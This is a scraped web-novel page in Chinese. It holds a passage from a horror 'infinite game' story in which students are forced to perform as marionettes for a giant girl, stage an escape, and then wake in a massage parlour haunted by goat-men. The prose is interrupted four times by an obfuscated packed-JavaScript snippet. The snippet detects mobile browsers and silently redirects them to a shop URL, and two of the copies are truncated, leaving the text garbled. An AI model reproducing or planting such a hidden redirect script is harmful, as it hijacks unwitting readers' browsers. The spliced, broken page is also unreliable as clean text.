;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593691|143260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被先前那只怪物盯上的时间太久,早已失去争夺前三的机会了。 “恭喜通过第二场体能测试,你们本场测试的成绩是:60分。” 程映雪连忙心算了一下,两眼一翻就要晕过去。 ——如果想要通关的话,下一场测试邓溪明要拿至少八十四分,而她们仨至少要拿八十八分。 容错率真的太低了。 “没事,没事。”舒怀瑾抹掉额角上几乎要结冰的汗水,“我们还有机会。” 那条怪物消失后,舒怀瑾和江贮月似乎顿时也清醒了一些,想起方才的经历心中都有些微的后怕。 她们二人竟然不知道从什么时候开始受到了它的影响,行事分外鲁莽。 打开精神值一看,果然又下降了几点。 不过幸而她们都还活着。只要活着就还有机会翻盘。 环顾四周,其他抵达钓鱼点的学生几乎也都完成了任务。少部分同学没能够凑满十条鱼,慌乱不堪地寻求帮助之时,身下的亚克力小船竟眨眼间化作了一条透明的鱼,带着腹中的学生沉没在了冰中,连一点儿声音都没能留下。 存活下来的幸运儿们已经有些麻木了,看着任务失败的人惊恐瞪大的双眸,也不曾挪动半分,只是瘫坐在小船里。 毕竟,小船已经是他们目前唯一的依靠了。哪怕知道它有可能会变成伤害他们的装置,他们也不再有气力逃离了。 待所有学生的第二场测试成绩都结算完毕后,所有人都听见了身下的异响。 没有人超载,但冰面在寒风中悄然裂开。细碎的纹路如蜘蛛网般蔓延,发出清脆而令人心悸的“咔嚓”声。阳光斜照,冰缝中却透出幽幽蓝光。只听得锵然一声响,冰面彻底碎裂,所有学生登时沉入了深海之中。 舒怀瑾用尽全身力气想要上浮,却感觉身体仿佛被人用看不见的丝线牵扯着往下坠去。水面上的光慢慢离她而去,她的意识也逐渐模糊,仿佛又回到了上一个副本的井中。 深海重归沉寂。 …… “欢迎各位考生来到第三场考试,也是本次体能测试的最后一场考试。” “春季学年体能测试第三场考试——柔韧性专项,即将开始。下面将为各位考生播报考试规则。” 舒怀瑾睁眼之时,她发现自己已经换上了一套极其华丽的洋装,各关节都被透明的丝线系着。线一路延伸至头顶上的虚空之中,而脚下则是布景精巧的舞台。 强烈的聚光灯打在这个舞台上,而她的身旁全是和她一样的、刚醒来的学生。 看起来,他们似乎是被做成木偶戏里的木偶了。 接下来的规则播报验证了她的猜想。 “玛丽有一群可爱的小木偶,她最喜欢看他们跳舞。” “发令枪响后,考试正式开始。请扮演好玛丽的木偶,为玛丽和她的朋友们呈现一场盛大的演出吧!本场考试成绩将由玛丽和她的朋友们依照心情评价,一定要尽可能地讨好他们哦。” 69. 体能测试5 按照玛丽和她的小伙伴的喜好评分?舒怀瑾皱眉。全凭主观却没有具体的评分细则,这意味着分数的不可预知性更高,想要拿到高分的难度更大。 她朝舞台下望,想试试能不能从玛丽和朋友们的衣着及行为习惯上看出来他们的爱好,却连一个人影都没见着。难道是因为现在还没开始表演,所以观众还没入席吗? 身上的细线令舒怀瑾无法看到太多东西,她只能在有限的视野中判断出正前方远远的有一大面白墙,除此以外并没有其他东西了。 “映雪,贮月,溪明,你们都在哪?” 将环境摸清以后,舒怀瑾下意识就想寻找舍友们所在的方位,然而四周均是生面孔。 程映雪:“我周围全是人,挤在一团,根本看不到其他东西。” 江贮月:“我看起来好像在舞台后台。这里没什么光。” 邓溪明:“我……我被挂在空中了。应该是在舞台角落的顶上。” 三人同时抬头望向上方,终于在舞台上空的西南角发现了和背景板几乎融为一体的邓溪明。 舒怀瑾原本还以为考生们需要商量一番才能排出所谓的“木偶戏”,现在看来,他们的角色与站位应当都已经被安排好了,只等发令枪响后开始表演。 “虽然规则可能发生了改变,但我记得攻略上写第三场测试除了讨好玛丽等人以外还有其他的加分途径,就是要……咔咔……” 程映雪的声音在关键信息处被屏蔽了,无论她后面怎样解释,另外三人都听不见所谓的加分方法。 三人搜刮着自己贫瘠的记忆,试图靠自己想起来细则,却宣告失败。 刷题不认真,进本两行泪。 正当四人交流对策时,她们脚下的舞台却忽然发出地震般剧烈的颤抖。 “咚”、“咚”的声音由远及近,就像是巨人的脚步声。 实际上也的确是巨人的脚步声。 随着最后一声脚步落下,舞台前突然出现了一位同样身着华美小洋装的放大版小女孩。她的腰部和舞台的顶端布景齐平,膨大蛋糕裙上繁复的花纹填满了所有人的视野,就像万花筒一样令人眼花缭乱。 猛地一阵气流把舞台上的人都吹得东倒西歪,原来是小女孩蹲下了身子。她白里透红的面庞上镶嵌着两颗宝石般闪亮的蓝色大眼睛,此时正歪着头探身来看舞台内的景象,金色的头发垂在一些倒霉蛋的头上,宛如瀑布般令人窒息。 “噢,真好。”她咯咯笑起来,“我的小木偶们都已经准备好啦。” 玛丽拎起裙子向空旷的白墙处走去,边走边呼唤道:“威廉,怎么还没把我的座位布置好?我的朋友们都快来啦!” “好的,小姐。” 以舒怀瑾的视野来看,一位只能看得见裤腿和脚的管家走上前来,弯腰放了四个软沙发在空地上,随后便离开了。 只听见老式有线座机叮铃铃地响了两下后被人接起,玛丽的声音清脆地传来:“我都准备好啦!就等你们了!” “噢,那真是太好啦!” “威廉,给我的朋友们开门!” 楼下传来门被打开的响声,接着是许多人上楼梯的脚步声,最后是房间门被拧开的声音。 玛丽离开了学生们的视野,迎了上去:“欢迎你们来做客,我的朋友们!那边是我们的位置,好戏就要开场啦。” 在孩童的欢闹声中,四位小评委终于在一字排开的沙发上落座,一时间竟有些像某档声乐节目现场。 从左到右,依次是棕发棕眼的小男孩、黑发碧眼的小女孩、玛丽,还有…… 第四个小孩怎么看起来和方淮有点像? 察觉到舒怀瑾的视线,第四位小孩将略显婴儿肥的脸颊扭了过来,颊上浮现两个小巧的酒窝。 没错,绝对不会认错。她就是方淮。 一想到待会儿评分的小孩里还有她,舒怀瑾就不禁有些担忧自己的未来。 但方淮没给她担忧的时间。舒怀瑾就这样眼睁睁地看着她旁若无人般地掏出来了一把发令枪,当着另外三个小孩的面直接朝天花板打了一枪。 除了小型舞台之上,房间内霍然陷入了黑暗。 三个小孩并没有对此展现出任何惊讶的神情,而是聚精会神地看着轰隆隆开始变幻的木偶舞台。 原本光秃秃的舞台中央突然多出来一撮七彩的小山布景板,学生们则都被丝线牵拉着到了幕布后面。 稚嫩的童音在舞台内回荡着:“从前,有一座由七个葫芦娃化作的七彩山,山下镇压着蛇精和蝎子精。” “然而这蛇精的妹妹青蛇精听说姐姐被镇压,发誓要为姐姐报仇雪恨。” “她带着手下的小妖精们来到了这七彩山前,决定要将七个葫芦一一剥离出来,逐个击破。” 舒怀瑾心下了然——原来他们要演的是《葫芦小金刚》。 总感觉有点不对劲,但她一时间想不起来是哪里不对劲。 画外音一结束,一个熟悉的人影就从天而降,被吊着放到了舞台中央。 定睛一看,那人正是邓溪明。 邓溪明在意识空间中翻白眼:“我真服了……脑海里还有声音播报我的下一步动作……怎么找我演青蛇啊。” 只见她一身武打戏服,在透明丝线的牵引下挽了一个漂亮的剑花,回首双目一瞪:“天杀的七个葫芦娃,今日我就要为姐姐报仇!” 与此同时,一群小妖也被提溜着,嚷嚷跑上了舞台。 “报仇!报仇!报仇!报仇!” 程映雪的声音同样生无可恋:“哈哈……我是小妖怪。” 她身着一套青蛙戏服,裸露出来的脸都被涂成了绿色,在一众乌漆麻黑的小妖里格外亮眼。 这一幕里,台上的小妖约莫有五十来个,在丝线的控制下正做出各色高难度的杂技动作。有几人抓住机会耍宝,惹得台下的小孩们咯咯笑个不停。但与此相对的是,一些柔韧性不佳的同学被丝线扯得哀嚎出声,惊恐地看见评委们投来了嫌恶的目光。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593692|143260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 幸而程映雪的柔韧性极佳,几名小孩对她的表现似乎都还算满意。 作为一名常年在体测中坐位体前屈项目及格线徘徊的天选全身梆硬体质者,舒怀瑾低头看了一眼自己的裙子,悲从中来。 本来就已经够艰难了,这身累赘的裙子简直是生怕她不被淘汰……不对。 舒怀瑾知道之前她莫名觉得不对劲是为什么了。 一身欧式宫廷装的她怎敢靠近一身东方武打味的其他人! 她和别人真的是一个剧组的吗? 但她目前还没收到剧本,也只好老实地待在原地。 舞台上已经到了七个葫芦娃依次出场的剧幕。只见力大无穷的大娃率先出场,随后被青蛇使计落入了钱眼里,无论如何都爬不出来。拥有千里眼顺风耳的二娃接着出场,却被歪风邪气迷了眼睛,落入了青蛇的大网之中。 第三位出场的赫然是一身黄葫芦娃装的江贮月。 虽然她臭着一张脸,但剧情上是为了打青蛇,因而也不显得突兀。 有生之年能看见江贮月和邓溪明你来我往上演互殴戏码的机会不多,要不是四肢都被拴着没法动,舒怀瑾几乎要从意识背包里掏出瓜子来磕一磕了。 按着剧本,刀枪不入的三娃江贮月将青蛇精邓溪明掷来的件件法宝兵器全数折断,打得各小妖换了一波又一波,几乎是胜券在握。 然而就在关键时刻,邓溪明双眼一眯,精光一闪:“哼,三娃,我已经知道你怕什么了!” 寒芒乍现,一双小鞋霎时就向江贮月飞去。 江贮月被那小鞋禁锢住双脚,顿时成了一尾在岸上翻滚的鱼。 邓溪明:“任你怎样刚正不阿,找了你的弱点,给你双小鞋穿穿,不怕你不低头!” 台上灯光隐了下去,沉默的江贮月就这样渐渐被线牵引到了幕后,和舒怀瑾待在了一块儿。 见了舒怀瑾的装扮,有些疲惫的江贮月也是大惊:“你怎么穿成这样?” 舒怀瑾:“我也不知道。” 比起她现在的着装,舒怀瑾更担忧自己是不是被雪藏了。 毕竟打分还是要靠在评委面前露脸的,要是从头到尾她的戏份都少得可怜,最后的成绩恐怕不容乐观。 前两场考试除了机械音播报外,还有测试守则作为规则补充。既然加分途径目前未知,本场的守则也未出现,这或许意味着加分途径就在守则里,但需要她们自行触发? 然而这场测试的自由度极低,想要寻找守则也是难上加难。 舒怀瑾环视着四周,却突然发现玛丽身后有什么东西在微微地发着光。 先前她可没见到过这阵光。 她心头一转,凭空捏出一条面包虫便下达了指令。 “抵达玛丽后面发光处,将发光的东西悄悄搬回来给我。” 面包虫立正敬礼,板正地绕路爬向了目标所在地。 正当面包虫即将抵达的那一刹那,舒怀瑾的脑海中忽然响起了机械播报声。 70. 体能测试6 “你的身份是小蝴蝶。请按照提示,声情并茂地说出你的台词。” 机械音播报的同时,舒怀瑾只觉得自己全身关节都被扯了起来,双臂抬起向后,摆出了一个极为不符合人体力学的姿势,然后被直接吊到了舞台中央的假山布景板前。 现在上演的是小蝴蝶与葫芦小金刚初见的场景——受制于青蛇的小蝴蝶装作被青蛇禁锢,以博取葫芦小金刚的信任,帮助青蛇将其捕捉。 虽然肩膀被箍得有些疼,但按照脑内显示的提词器,舒怀瑾还是兢兢业业气沉丹田,大声喊出了一句凄惨无比的“救命”。 对面扮演葫芦小金刚的女生此时已经累得有些虚脱了,拿着短刀的手都在颤抖,嘴唇透出有些乌青的白。 长时间的高难度动作已经让她几乎要肌肉痉挛了。 “你是、哪里来的妖精,为什么、在这里?” 舒怀瑾将对方的情况落在眼里,但自己也处处受人限制,有心帮她却无力。她只能一面按照提词器上的话对着戏,一面用余光瞄着自己放出去的面包虫。 面包虫此时正隐在幕布之后,鉴于舒怀瑾“悄悄拿来”的要求并没有在聚光灯之下上前。 不过问题倒也不大。舒怀瑾趁着自己侧身的戏份,借着身体的遮挡又拿出来了一只面包虫,命令它将上一只面包虫带来的东西递给江贮月。 很可惜,上一只面包虫并没有灵活变通的意识,在面对新来的面包虫时显得戒备森严。 两条面包虫就这样在阴暗的角落里打了起来。鉴于它们一模一样,能力也相同,一时间竟分不出胜负。 真是成事不足,败事有余。舒怀瑾痛心疾首。 台上的戏演到了激动人心的部分,节奏越来越快,操控他们的动作幅度也越来越大。和舒怀瑾演对手戏的女孩的瞳孔愈发扩大,部分饰演小妖的学生们嘴角泛着白沫,舒怀瑾也感觉自己的筋骨几乎要被扯断般疼痛。 他们的生命值正缓缓降低。 台下的玛丽和朋友们笑作一团,方淮的脸上更是浮现出陶醉的神色。 毕竟台上的只是一群木偶罢了。 另一边的面包虫在叮铃咚隆的伴奏声中也打得愈发激烈,中间夹着一张纸条,直接双双滚落到了舒怀瑾脚边。 见此情景,舒怀瑾干脆咬牙趁着一个滚地起身的动作,迅速将那张纸条拾了起来。 【测试守则】 三、不想将性命全权交由他人决定者,需在完全准备下逃出牢笼,才能自行掌握未来。 比起之前的守则,这条守则模糊了很多,但看起来却可信了不少。 放在平常来看,这句话可能看起来有点像一句废话。但放在此时的第三场测试中,它却给苦苦挣扎的学生们提供了另一条路。 “他人决定性命”指的是由玛丽等人评分,牢笼可能指的是这个舞台,也有可能是更大的范围,比如这栋房子。 也就是说,这条守则在暗示他们可以斩断身上的细线,进而出逃。 舒怀瑾趁着间隙将这一发现与另外三人说了,四人大脑均是飞速运转着。 这招很险,单凭她们四人的力量恐怕难以逃脱,很快就会被捉回来,后果可想而知。 但如果团结起所有学生呢? 四人思来想去,觉得这一推测可信,且携众出逃是唯一成功率较大的方法。 尽管舒怀瑾向来不愿意相信他人,也很少主动寻找其他学生达成合作。但形势所迫,她必须劝说他人加入计划。 不知过了多久,她的戏份在漫长的折磨下终于结束了。她被吊回了舞台幕后,像一个破布娃娃一般被扔到了地上。 舒怀瑾勉强支起身子,环视四周。 除了还在台上苦苦坚持的邓溪明外,另外两名舍友都已经在游说身边的同学了。有人面露难色,有人则是恨恨点头。 演葫芦小金刚的女孩此时也获得了暂时的休息时间,正伏在地板上激烈地咳嗽,几乎要将肺咳了出来。 舒怀瑾想了想,将背包中的忍冬花瓣道具摘了两瓣下来。 她递给了那名女孩一枚花瓣,又在她狐疑抬头时自己将另一瓣花瓣吞入喉中,表示这花瓣无毒。 舒怀瑾露出了她最为友善的表情:“这花瓣是我的道具,可以恢复一点生命值。你看起来生命值消耗得有些太多了,我想帮帮你。” 女孩没有立即伸手接过花瓣:“你为什么要帮我?” 毕竟无事献殷勤,非奸即盗。舒怀瑾也经常这样警醒自己,完全可以理解。 她将那张纸条展示给女孩:“守则上说我们可以有另一种获得成绩的方式。我希望我们能合作,一起平安通关这个副本。” 女孩的目光在那张纸条上久久停留,少许时间后才重重点了点头,接过舒怀瑾手上的花瓣吞下。 她的技能告诉她,这张纸条的确是这个副本的守则,面前的女生并没有说谎。 她的状态显然好了不少,已经可以坐起来和舒怀瑾进行下一步的商榷了。 “可以。你们有具体计划吗?我还有朋友可以一起加入。” “当然,人越多越好。”舒怀瑾微笑,随后将计划大体告知了对方。 虽然这样有被背刺的风险,但这毕竟是寻求合作,她基本的诚意还是要有的。 那名女孩细细思考了一番后点头:“好,我会把……” 她的话还未说完,身上的丝线又绷直了,霎时间将面色骤变的她扯向了舞台中央。 虽然没能听完对方说的话,但对方的意思已经融在了那双惊恐又愤怒的眼睛中。舒怀瑾只感觉心里有些发闷,但为让计划行进得更顺利,她只能趁着自己还没被牵上台时接着去拉拢周围的人。 总共92名学生成功从第二场测试中幸存,其中有49名同学同意了和她们一起出逃。 超过半数,这已经是一个很令人意外的数字了。 计划在紧锣密鼓地筹备着。 …… 这场木偶戏的结局仿佛遥遥无期。终于在第七场开幕时,疲惫到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593693|143260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 极致的同学们奋起反抗了。 舒怀瑾唤出了在背包中睡了大半天的大公鸡,她们四人身上的丝线在眨眼间被大公鸡锋利的喙缘一一切断,顿时重获自由。 其他同学们也各显神通,操控剪刀等物品将线剪断。 丝线垂在空中,仿佛失去生机一般枯萎、落败。学生们这才发现,原来这一直禁锢着他们的丝线是那么容易被破坏。 但只是摆脱丝线远远不够。保险起见,他们的目标是逃离这栋房子。 当发现台上的木偶逐渐不听使唤,自由地活络着手脚后,玛丽几乎是立即站起了身子,通红的脸颊挂上两串泪珠,扑向前大叫道:“威廉!我的木偶们坏掉了!” 旁边的小男孩和小女孩焦急地跺脚,幼年版方淮则是安然坐在座位上,仿佛对台上学生们的行动早有预料。 楼梯上传来急切的脚步声。 有了先前的经验,学生们已经判断出这栋房子的大致结构了。他们此时正处于二楼,只要再下一层,就可以离开这儿。 然而,要是等那位所谓的威廉到这儿,恐怕他们就走不了了。舒怀瑾和舍友们对视一眼,决定绕开威廉抵达楼下。 当玛丽扑在舞台上、整个舞台剧烈振颤时,49名学生已经纵身一跃离开了舞台。 三名NPC小孩看见逃窜的“木偶”们,立即上前用胖乎乎的胡乱一抓。然而学生们的数量远远多于小孩们,他们顾此失彼,一时间谁也抓不着。偶尔有一两个人不幸被抓住,也很快在同伴的帮助下逃离了魔掌。 领队的舒怀瑾四人早已接着方才演戏时时候将房间内陈设看清楚了。此时她们在玛丽的软垫小椅子上一跳,借助弹力落在玛丽的书桌上,又顺着放了众多棉花玩偶的柜子攀缘而上,成功抵达了位于天花板上端的通风管道口。 舒怀瑾朝仍在地上的人招招手,随后率先跳入了通风管道之中。程映雪、江贮月与邓溪明紧随其后。 注意到这一切的玛丽指着通风管道尖叫着:“威廉!他们进了管道里!” 很幸运,邓溪明选定的这个通风管道一路畅通无阻。四人虽沾了一身灰,却顺利地一滑而下到了位于一楼的玩具房之中。 软绵绵的玩具和厚实的地毯抵消了大部分都冲击力,因而学生们并没受太重的伤,互相搀扶着从玩具房的房门缝隙里钻出,往餐厅中侧开的窗户跑去。 窗户几乎近在咫尺。 然而,就在他们一个个爬上窗台准备向外跳时,一只大手猛然伸了过来,将窗户“砰”地一声关上。 对方面无表情,是那位他们只见过裤脚的管家。 管家飞快出手,将台面上的学生们一扫而下,随后捉住了仍藏在花瓶后的舒怀瑾。 在绝对的体积优势和力量优势面前,舍友们的技能都已经几乎失去了作用。舒怀瑾被那只手掐住了身体,内脏仿佛挤在了一起,几近窒息。 就在她决定让大公鸡带她去到安全屋暂避的前一秒,一只稚嫩的手横扫而来,将舒怀瑾扯了过去。 71. 体能测试7 啊,是方淮啊。 现在舒怀瑾物理意义上地落在方淮手里了。 “威廉,我看中这只木偶了,把她交给我处置就好。” 莫名被上手抢人的威廉有些丈二和尚摸不着头脑,但本着小主人的朋友也是小主人的道理,还是沉默地点了点头,转而去抓其他学生了。 舒怀瑾被那只冰冷的手攥在掌心里,寒意如无形的剑刺入她的躯干。 方淮要干什么? 舍友们已经抵达窗台了,目不转睛地盯着二人,准备将保护技能用在舒怀瑾身上。大公鸡也在意识背包里蓄势待发,一有不对劲就将舒怀瑾转移至安全坐标。 然而,方淮竟在下一秒将舒怀瑾放在了窗台上。 “别对我戒心那么高。”她眯眼笑着,乍一看竟有些从前的影子,“我说过,我还挺喜欢你的。” 识时务者为俊杰,舒怀瑾并不打算和方淮辩驳。 她道了一声谢后立即奔向了舍友们的方向。 “喜欢”二字不过嘴巴一开一合。今天方淮能因为喜欢自己而救自己,明天她或许就能因为厌恶自己而背后下黑手。 这样说或许有些冷血,但舒怀瑾并没有忘记先前方淮是怎样对待其他人的。 她绝不会相信方淮。 已经有不少同学跳出窗外了。四人探身一看,落在花园中的学生们都在白光中渐渐隐去身形,一如先前每次通关副本时的场景。 江贮月点点头,她们四人便一齐跳出窗外。落在茵茵绿草地上的那一刻,每个人的脑海中都响起了机械音。 “恭喜通过第三场体能测试,你在本场测试的成绩是:一百分。” “体能考试到此结束,你的成绩评级为良好。” “恭喜通关,正在结算奖励……” “奖励结算成功。成功存活,生命值与精神值增加五点上限。目前你的双值上限各为二十五。” “下一题开启时间:七天后。” 四人才刚舒了一口气,在周身泛起的白光中准备回到宿舍好好休息一下,却陡然听见方淮的声音在耳畔砰然坠地。 “怎么还要等那么久?太无聊了,我要现在就开始下一个问题。” 方淮凭空一握,在场学生们身上的白光居然隐隐透出红光,眼前则虚虚晃过陌生的场景。 她在将学生们强行运往下一个副本。 学生们动弹不得,宛如案板上的鱼肉一般,几乎是目眦欲裂。 不休息直接要他们进下一个本,无异于要他们直接死。 但学生们的力量如蚍蜉撼大树,他们只能眼睁睁看着陌生的景色越来越清晰,绝望也逐渐染上瞳孔的底色。 “不,不要这样。” 云层中一道有些耳熟的声音传来,学生们周身的变幻刹那间静止。 “我的目的不是要所有人死亡,方淮,请你别再擅作主张了。” 舒怀瑾在纷乱的记忆中翻找着这道嗓音的存档,瞳孔一缩。 这是在表里世界那个副本中、她在操场东南角听见的声音。 是那位……忍冬。 她是可以直接对话的存在? 方淮绕了绕自己鬓边的碎发,满不在乎地应着:“反正你也弄死了不少人,多这些人少这些人不都一样吗?” 她有些顽劣地笑了起来:“忍冬,你和我是一样的人。” 云那边沉默了。 方淮挑眉,直接双手一挥将所有人推入了基本成型的新副本中。 时空遽然的撕裂让所有学生在剧痛中陷入了短暂的休克。 机械音冷冷地履行着它的职责:“欢迎来到多人副本《毕业求职》,通关要求:成功获得一份工作。” …… 很痛。 浑身的骨头像被拆散后重建的一般,几乎要将人的求生欲寸寸折断。 舒怀瑾几乎又要晕厥过去,只能死死咬住自己舌尖保持基本的意识,连动动手指都无法做到。 她的眼前一片漆黑,什么也看不清。 睁着茫然的眼睛,直到眼睛几乎发涩到落泪,她才逐渐适应了黑暗的环境,隐隐约约能看见自己面朝着一面墙,或者是一面地板。 又过了不知多久,身上的疼痛缓缓退去,迟钝的知觉渐渐归位,她才终于能从淋漓的冷汗中抽出一点理智来判断此时身处的环境。 她现在面朝地板躺在一张挖了洞的床上,身上还盖了一层毯子。 看起来,她似乎在一间按摩房中。 在休克之前,她残存的意识听见机械音说了“多人”和“求职”两个词。 既然是多人,那么舍友们应当也在这里才对。 她现在虽然不再感到疼痛,但身上依旧是绵软无力。求职一时半会儿是没法实现了,先找舍友才是正道。 她在意识空间中的呼唤并没有得到回应。 舒怀瑾咬牙支撑起身子,昏暗的空间中隐隐可以看见身旁还摆了三张床,每张床上似乎也趴了一个人,板板正正,僵硬得几乎像是尸体。 有一个令她毛骨悚然的猜想浮上她的脑海,又被她困难地甩开。 不可能,这个副本才刚开始,怎么会死人呢? 她稳了稳心神,轻轻踮脚下了床。 冰凉的瓷砖让她顿时一激灵,却也镇静了一些。 守则,她现在要找到守则。 出于安全考虑,舒怀瑾不打算现在离开这间房。在幽暗的房间里找守则并不是易事,她只能蹲下身子一点点摸索着,不放过每一个角落。 终于,在房间内的一台电视机前,她发现了一张纸条。 纸条上歪歪扭扭地写着三行字,每行字的大小形状都不相同。 第一行字说,不要打开房门。 第二行字说,不要被它们发现你不在床上。 第三行字说,不要一直待在房间里。 这是什么意思? 这间屋子没有窗户,除了房门以外再也没有其他出口——第三行字显然和前两行字的指向相悖。 但就在此时,舒怀瑾听见门外传来一阵“哒哒”的脚步声。 思及第二行字,她立即踮着脚快步爬回了床上,恢复先前的姿势。 脚步声停留在了她所在的房门前。 “吱呀”一声,门被推开了。门外的人一个接一个地走进来,站在了床前。 舒怀瑾数了一下,对方有四人,正好对应四张床。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593694|143260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“客户您好,您预约的全身按摩将在十分钟以后开始,请问您需要现在点餐吗?” 舒怀瑾没有出声。 通过床上用来放脸的孔洞,她看见面前的瓷砖上,站着的是一双羊蹄。 空气静默了一会儿。 “嗯,看来您没有用餐需求。那么我们就先出去了,请您换好衣服,我们十分钟后来为您进行服务。“ 那双羊蹄“哒哒”地离开了她的床前。 她听见四阵脚步都出了房门后,脚步声就消失了。 手心津津地冒着汗。她知道这意味着那四人,或许可以称为四只半人羊,此时正静静地等在门后,守株待兔。 舒怀瑾不敢发出半点声响,直到她在约莫五分钟后听见四拨脚步声逐次远去。 第三行字说不要一直待在房间里,或许那四只半人羊下一次推门而入时就会发动攻击。 至于第一行字,结合目前舒怀瑾所感知的线索,它的完整意义应当是不要让半人羊发现她打开了门。 重点在于不要被发现。 她贴在门框上,放了一只面包虫悄悄溜出门缝,确认外面任何东西都没有之后,轻轻拧开了房门的把手。 把手的响声悠悠地荡在曲折而狭长的走廊中,如黄昏一般浓郁的灯光明灭地闪烁。 舒怀瑾听见走廊深处传来了密集的脚步声。 她被发现了! 但开弓没有回头箭,她面前只有一条路,那就是跑。 朝着走廊的另一头狂奔,舒怀瑾身后的脚步声也越来越大。眼见着拖着几乎要散架的身体跑到了走廊尽头,她的面前却出现了一处楼梯间。 安全门上的标识显示她此时在二楼。是上还是下? 一楼或许通往外面,会更加宽阔一些。身后的追兵让舒怀瑾只犹豫了片刻,便选择了朝楼下跑去。 喘气声与汗水在楼梯间几乎蒸腾成了云,但舒怀瑾无论跑了多久,向下的台阶仿佛都看不到尽头,也根本没有再遇见第二个楼梯间让她离开这楼道。 身后的半人羊逐渐追上了体力不支的舒怀瑾。就在它们的羊蹄触碰到舒怀瑾后颈的那一瞬间,舒怀瑾只感觉全身几乎都被折叠了起来,内脏在体腔内被挤碎,剧烈的疼痛让她“哇”地吐出了一口黑血。 不要向下跑。 这是舒怀瑾的眼珠完全黯淡之前最后的念头。 …… 很痛。 浑身的骨头像被拆散后重建的一般,几乎要将人的求生欲寸寸折断。 舒怀瑾几乎又要晕厥过去,只能死死咬住自己舌尖保持基本的意识,连动动手指都无法做到。 她的眼球似乎有些充血,几乎没法看清楚近在咫尺的东西。 面前的是什么?是地板?还是墙壁? 意识空间里没有回应。她摸索着站起身来,最终在电视机前发现了一张纸条。 纸条上有七行字。 不要打开房门。 不要被它们发现你不在床上。 不要一直待在房间里。 不要向下跑。 不要进入遇见的第一间房。 不要从窗户跳下。 不要让任意一台电视机开启。 72. 毕业求职2 沿着几乎一模一样的轨迹,舒怀瑾再次来到了楼梯间。 通往楼下的阶梯看起来阴森森的,舒怀瑾不禁颤抖了一下,随即将目光转向上行方向。 既然纸条说不要下楼,那便往上逃吧。 半羊人很快追到了楼道内,羊蹄踏地声在身后咚咚响着,擤气的嗤声挟着腥臭的热气在墙壁间碰撞。 舒怀瑾才向上爬了一层,就发现三楼已经是顶楼了,再没有向上的通道。身后追兵与她只有半层楼的距离,她只好使劲推开厚重的防火门,闪身钻至门后走廊中。 但出乎她意料的是,三楼的走廊不似二楼,竟然只有短短十米长,直得一眼就能望尽。 走廊墙壁上都被挂满了画,上面歪歪扭扭的不知涂画了些什么。目之所及只有两扇门,一扇就在楼梯口右手边,另一扇则是在走廊尽头。 第四行字说不要进入遇见的第一间房。 身后的防火门被半羊人猛然推开,几乎能听见空气被快速划过时发出的轻微嘶鸣,时间已经不容许她过多考虑。舒怀瑾直奔走廊末尾的房间而去,拉开门后抓出三大把面包虫就撒向地面,命令它们顶住房门。 面包虫们得令后冲向了门,在半羊人的冲击下不断被震飞,又立刻翻滚起来继续上前死死抵住。薄薄的一扇门经过两方的较量,已经隐约有了裂痕。 这扇门撑不了多久了,她必须尽快找到破局方法才行。舒怀瑾迅速将全屋扫视一遍,发现屋内只有一扇窗、两台电视机、三张桌子和桌子上放的一个长方形盒子。另外,除了来时那扇薄木门,屋子的另一头还有一扇铁门。 窗户是半开的,但纸条上写了不能从窗户跳下。两台电视机目前都是关闭的,不知道打开的触发条件是什么。至于盒子,谁知道是不是什么潘多拉魔盒,舒怀瑾不打算第一时间就碰它。 她冲向那扇铁门,却发现它被倒锁了,把手上则显示出六位的密码锁。非常不巧的是,她背包里的移液枪依旧在升级中,此时一丝暴力破除这扇门的希望也没有。 这是一间囚笼。 才过了不两分钟,身后的木门就不堪重负地裂开了,一群半羊人带着膻臊味涌进了房间中,来不及闪避的面包虫们均在羊蹄之下爆裂开来。 数十双横瞳狂热地盯着她,蹄子躁动着踏来踏去,近乎踩在了舒怀瑾剧烈跳动的心脏上。一只格外高大的半羊人走了出来,却慢条斯理毒理了理自己脖颈上的西装领子,弹走袖口沾上的蓬松毛发,嗓音尖细:“客人您好,我是本店的经理小杨,请问您是对我们的服务有什么不满意的吗?” 舒怀瑾没有说话。 